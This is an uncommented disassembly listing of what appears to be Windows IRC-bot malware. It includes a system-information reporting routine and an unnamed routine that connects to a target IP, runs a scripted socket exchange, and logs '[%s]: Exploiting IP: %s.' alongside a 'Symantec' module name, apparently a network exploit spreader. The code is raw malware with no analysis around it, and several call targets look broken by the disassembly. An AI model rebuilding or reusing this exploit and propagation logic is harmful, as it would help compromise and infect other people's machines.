; =============== S U B	R O U T	I N E =======================================



sub_41AED9	proc near		; CODE XREF: sub_41AF8F+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41AEE1:				; CODE XREF: sub_41AED9+2Fj
					; sub_41AED9+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 26803B2h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41DCB0
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41AEE1
		jb	short loc_41AF10
		cmp	ebx, esi
		ja	short loc_41AEE1


loc_41AF10:				; CODE XREF: sub_41AED9+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41DD20
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AF83
		jb	short loc_41AF2F
		cmp	esi, 50h
		jnb	short loc_41AF34


loc_41AF2F:				; CODE XREF: sub_41AED9+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41AF34:				; CODE XREF: sub_41AED9+54j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF3F
		cmp	esi, 47h
		jnb	short loc_41AF44


loc_41AF3F:				; CODE XREF: sub_41AED9+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41AF44:				; CODE XREF: sub_41AED9+64j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF4F
		cmp	esi, 37h
		jnb	short loc_41AF54


loc_41AF4F:				; CODE XREF: sub_41AED9+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AF54:				; CODE XREF: sub_41AED9+74j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF5F
		cmp	esi, 26h
		jnb	short loc_41AF64


loc_41AF5F:				; CODE XREF: sub_41AED9+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AF64:				; CODE XREF: sub_41AED9+84j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF6F
		cmp	esi, 1Eh
		jnb	short loc_41AF74


loc_41AF6F:				; CODE XREF: sub_41AED9+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AF74:				; CODE XREF: sub_41AED9+94j
		test	ecx, ecx
		ja	short loc_41AF83
		jb	short loc_41AF7F
		cmp	esi, 0Ah
		jnb	short loc_41AF83


loc_41AF7F:				; CODE XREF: sub_41AED9+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AF83:				; CODE XREF: sub_41AED9+4Dj
					; sub_41AED9+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41AED9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF8F	proc near		; CODE XREF: sub_401ACD+2728p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_43DB88
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D0503h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41B016
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AFF2
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AFDC
		mov	[ebp+var_4], offset dword_431620


loc_41AFDC:				; CODE XREF: sub_41AF8F+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41B091
		mov	[ebp+var_4], offset dword_43161C
		jmp	short loc_41B062
; ---------------------------------------------------------------------------


loc_41AFF2:				; CODE XREF: sub_41AF8F+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41B004
		mov	[ebp+var_4], offset dword_431618
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B004:				; CODE XREF: sub_41AF8F+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41B052
		mov	[ebp+var_4], offset dword_431614
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B016:				; CODE XREF: sub_41AF8F+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41B052
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41B030
		mov	[ebp+var_4], offset dword_431610
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B030:				; CODE XREF: sub_41AF8F+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41B042
		mov	[ebp+var_4], offset dword_43160C
		jmp	short loc_41B059
; ---------------------------------------------------------------------------


loc_41B042:				; CODE XREF: sub_41AF8F+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41B059


loc_41B052:				; CODE XREF: sub_41AF8F+7Cj
					; sub_41AF8F+8Ej
		mov	[ebp+var_4], offset dword_431604


loc_41B059:				; CODE XREF: sub_41AF8F+73j
					; sub_41AF8F+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41B091


loc_41B062:				; CODE XREF: sub_41AF8F+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41B091
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset dword_436BB4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41B091:				; CODE XREF: sub_41AF8F+54j
					; sub_41AF8F+D1j ...
		mov	ax, word_4383AC
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB8B4
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41B0CA
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41B0CA:				; CODE XREF: sub_41AF8F+12Cj
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		call	dword_4CBA14
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB98C
		cmp	eax, ebx
		jz	short loc_41B0F3
		push	dword ptr [eax]
		jmp	short loc_41B0F8
; ---------------------------------------------------------------------------


loc_41B0F3:				; CODE XREF: sub_41AF8F+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41B0F8:				; CODE XREF: sub_41AF8F+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2680000h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43AC78
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	near ptr 2740000h
		nop
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 27315F5h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41C3B1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41ADD8
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41AED9
		push	edx
		push	eax
		push	offset dword_43AB9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B243	proc near		; CODE XREF: sub_401ACD+2756p
					; sub_401ACD+71F5p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		cmp	dword_4CBABC, 0
		jnz	short loc_41B2AF
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB898
		test	eax, eax
		jnz	short loc_41B298
		lea	eax, [ebp+var_8C]
		push	offset dword_43ACF0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B298:				; CODE XREF: sub_41B243+40j
		test	[ebp+var_C], 1
		jz	short loc_41B2A5
		push	offset dword_43ACE8
		jmp	short loc_41B2AA
; ---------------------------------------------------------------------------


loc_41B2A5:				; CODE XREF: sub_41B243+59j
		push	offset off_43ACE4


loc_41B2AA:				; CODE XREF: sub_41B243+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41B2C7
; ---------------------------------------------------------------------------


loc_41B2AF:				; CODE XREF: sub_41B243+28j
		mov	esi, offset off_43ACE0
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41B2C7:				; CODE XREF: sub_41B243+6Aj
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43AC9C
		push	200h
		push	[ebp+arg_0]
		call	sub_41C360
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41B243	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B302	proc near		; DATA XREF: sub_401ACD+757Fo

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43ADD0
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41BF70
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41BF70
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB8D0
		test	eax, eax
		jz	loc_41B49C
		cmp	[ebp+var_34], ebx
		jbe	short loc_41B3D9
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3D9:				; CODE XREF: sub_41B302+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41B3F7
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B3F7:				; CODE XREF: sub_41B302+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41B411
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B411:				; CODE XREF: sub_41B302+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41B42B
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_41B42B:				; CODE XREF: sub_41B302+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB984
		call	dword_4CB9A8
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41B4B4
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB99C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41B4BB
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB948
		test	eax, eax
		jz	short loc_41B495
		push	offset dword_43ADB4
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B495:				; CODE XREF: sub_41B302+18Aj
		push	offset unk_43AD78
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B49C:				; CODE XREF: sub_41B302+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43AD5C
		push	eax
		call	sub_41C266
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41B4CE
; ---------------------------------------------------------------------------


loc_41B4B4:				; CODE XREF: sub_41B302+153j
		push	offset unk_43AD30
		jmp	short loc_41B4C0
; ---------------------------------------------------------------------------


loc_41B4BB:				; CODE XREF: sub_41B302+17Bj
		push	offset unk_43AD00


loc_41B4C0:				; CODE XREF: sub_41B302+191j
					; sub_41B302+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41B4CE:				; CODE XREF: sub_41B302+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41B4F9
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409869
		add	esp, 14h


loc_41B4F9:				; CODE XREF: sub_41B302+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_415D38
		pop	ecx
		push	esi
		call	dword_4CBA08
		push	[ebp+var_4]
		call	dword_4CBA08
		push	[ebp+var_1D8]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		nop
		call	near ptr 26E0000h
		pop	edi
		pop	esi
		pop	ebx
sub_41B302	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41B52C	proc near		; CODE XREF: sub_401ACD+4F59p

arg_0		= dword	ptr  4

		push	esi
		push	100h
		mov	esi, offset byte_4DBCCC
		push	0
		push	esi
		call	sub_41BF70
		add	esp, 0Ch
		push	[esp+4+arg_0]
		push	offset aS_1	; "%s"
		push	0FFh
		push	esi
		call	sub_41C360
		add	esp, 10h
		pop	esi
		retn
sub_41B52C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B55B	proc near		; CODE XREF: ___:0041B843p
					; ___:0041B860p ...

var_14		= byte ptr -14h
var_C		= byte ptr -0Ch
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	edi
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp+var_C]
		mov	ax, word_43ADD4
		movsd
		movsb
		mov	esi, offset dword_4DBDCC
		lea	edi, [ebp+var_14]
		mov	[ebp+var_2], ax
		mov	ax, word_4346DC
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_4CB88C
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_41B627
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_41B5AD:				; CODE XREF: sub_41B55B+C7j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_41B5CD
		dec	eax
		jnz	short loc_41B61B
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B5E1
; ---------------------------------------------------------------------------


loc_41B5CD:				; CODE XREF: sub_41B55B+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B5E1:				; CODE XREF: sub_41B55B+70j
		push	eax
		push	edi
		call	dword_4CBA24
		push	ebx
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B5FD
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B602
; ---------------------------------------------------------------------------


loc_41B5FD:				; CODE XREF: sub_41B55B+99j
		push	5
		lea	eax, [ebp+var_14]


loc_41B602:				; CODE XREF: sub_41B55B+A0j
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	ebx
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_4CBA24


loc_41B61B:				; CODE XREF: sub_41B55B+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_41B5AD
		pop	ebx
		jmp	short loc_41B69D
; ---------------------------------------------------------------------------


loc_41B627:				; CODE XREF: sub_41B55B+42j
		dec	eax
		jz	short loc_41B646
		dec	eax
		jnz	short loc_41B69D
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_4]
		jmp	short loc_41B65D
; ---------------------------------------------------------------------------


loc_41B646:				; CODE XREF: sub_41B55B+CDj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	1
		lea	eax, [ebp+var_6]


loc_41B65D:				; CODE XREF: sub_41B55B+E9j
		push	eax
		push	edi
		call	dword_4CBA24
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_41B67B
		push	4
		lea	eax, [ebp+var_C]
		jmp	short loc_41B680
; ---------------------------------------------------------------------------


loc_41B67B:				; CODE XREF: sub_41B55B+117j
		push	5
		lea	eax, [ebp+var_14]


loc_41B680:				; CODE XREF: sub_41B55B+11Ej
		push	eax
		push	edi
		call	dword_4CBA24
		push	esi
		push	[ebp+arg_4]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_4CBA24


loc_41B69D:				; CODE XREF: sub_41B55B+CAj
					; sub_41B55B+D0j
		pop	edi
		pop	esi
		leave
		retn
sub_41B55B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 288h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_43ADEC
		lea	edi, [ebp-38h]
		mov	ax, word_4346DC
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_43ADE8
		lea	edi, [ebp-1Ch]
		movsw
		movsb
		mov	esi, offset dword_4DBDD4
		lea	edi, [ebp-28h]
		movsd
		movsb
		mov	esi, offset dword_43ADE4
		lea	edi, [ebp-10h]
		movsw
		movsb
		mov	esi, offset dword_43ADE0
		lea	edi, [ebp-14h]
		movsw
		movsb
		mov	esi, offset dword_43ADDC
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		xor	esi, esi
		mov	[ebp-6], ax
		mov	[ebp-16h], ax
		mov	ax, word ptr aR	; "r"
		push	esi
		push	1
		push	2
		mov	[ebp-18h], ax
		xor	edi, edi
		call	dword_4CBA54
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41B724
		push	eax
		call	dword_4CBA6C


loc_41B724:				; CODE XREF: ___:0041B71Bj
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-48h], 2
		push	eax
		call	dword_4CBA14
		push	dword ptr [ebp+0A8h]
		mov	[ebp-44h], eax
		call	dword_4CB9D4
		mov	[ebp-46h], ax
		lea	eax, [ebp-48h]
		push	10h
		push	eax
		push	ebx
		call	dword_4CB97C
		test	eax, eax
		jnz	loc_41B820


loc_41B75C:				; CODE XREF: ___:0041B7CEj
					; ___:0041B805j
		push	40h
		lea	eax, [ebp-88h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp-88h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_4CB9EC
		cmp	eax, esi
		jle	loc_41B82E
		cmp	eax, 0FFFFFFFFh
		jz	loc_41B82E
		mov	eax, edi
		sub	eax, esi
		jz	short loc_41B7D0
		dec	eax
		jz	short loc_41B79E
		dec	eax
		jz	short loc_41B80A
		jmp	short loc_41B800
; ---------------------------------------------------------------------------


loc_41B79E:				; CODE XREF: ___:0041B797j
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	2
		pop	edi
		jmp	short loc_41B75C
; ---------------------------------------------------------------------------


loc_41B7D0:				; CODE XREF: ___:0041B794j
		lea	eax, [ebp-38h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41B820
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		push	ebx
		call	dword_4CBA24
		push	1
		pop	edi


loc_41B800:				; CODE XREF: ___:0041B79Cj
		cmp	edi, 3
		jz	short loc_41B82E
		jmp	loc_41B75C
; ---------------------------------------------------------------------------


loc_41B80A:				; CODE XREF: ___:0041B79Aj
		lea	eax, [ebp-28h]
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41B82E


loc_41B820:				; CODE XREF: ___:0041B756j
					; ___:0041B7B2j ...
		push	ebx
		call	dword_4CBA6C
		xor	eax, eax
		jmp	loc_41B9B7
; ---------------------------------------------------------------------------


loc_41B82E:				; CODE XREF: ___:0041B781j
					; ___:0041B78Aj ...
		push	esi
		lea	eax, [ebp-16h]
		push	1
		push	eax
		push	ebx
		call	dword_4CBA24
		lea	eax, [ebp-10h]
		push	1
		push	eax
		push	ebx
		call	sub_41B55B
		mov	esi, dword_427080
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi
		lea	eax, [ebp-18h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		lea	eax, [ebp-10h]
		push	2
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		and	dword ptr [ebp-4], 0
		mov	edi, offset byte_4DBCCC
		push	edi
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41B8CE


loc_41B891:				; CODE XREF: ___:0041B8CCj
		mov	eax, [ebp-4]
		movsx	eax, byte_4DBCCC[eax]
		push	eax
		push	offset dword_43ADD8
		lea	eax, [ebp-20h]
		push	3
		push	eax
		call	sub_41C360
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 1Ch
		push	7Dh
		call	esi
		inc	dword ptr [ebp-4]
		push	edi
		call	sub_41B9C0
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_41B891


loc_41B8CE:				; CODE XREF: ___:0041B88Fj
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	0FA0h
		call	esi
		push	2
		pop	edi


loc_41B8E7:				; CODE XREF: ___:0041B8FEj
		lea	eax, [ebp-14h]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	12Ch
		call	esi
		dec	edi
		jnz	short loc_41B8E7
		mov	edi, 7D0h
		push	edi
		call	esi
		lea	eax, [ebp-0Ch]
		push	0
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	edi
		call	esi
		xor	edi, edi
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		push	190h
		call	esi
		mov	dword ptr [ebp-4], 2


loc_41B938:				; CODE XREF: ___:0041B950j
		push	258h
		call	esi
		lea	eax, [ebp-0Ch]
		push	edi
		push	eax
		push	ebx
		call	sub_41B55B
		add	esp, 0Ch
		dec	dword ptr [ebp-4]
		jnz	short loc_41B938
		push	ebx
		call	dword_4CBA6C
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		add	eax, offset aSymantec ;	"Symantec"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-288h]
		push	1FFh
		push	eax
		call	sub_41C360
		push	edi
		lea	eax, [ebp-288h]
		push	dword ptr [ebp+0B8h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_409869
		mov	eax, [ebp+0B0h]
		add	esp, 28h
		shl	eax, 6
		inc	dword_431800[eax]
		push	1
		lea	eax, dword_431800[eax]
		pop	eax


loc_41B9B7:				; CODE XREF: ___:0041B829j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B9C0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B9E0


loc_41B9CC:				; CODE XREF: sub_41B9C0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BA13
		test	ecx, 3
		jnz	short loc_41B9CC
		add	eax, 0


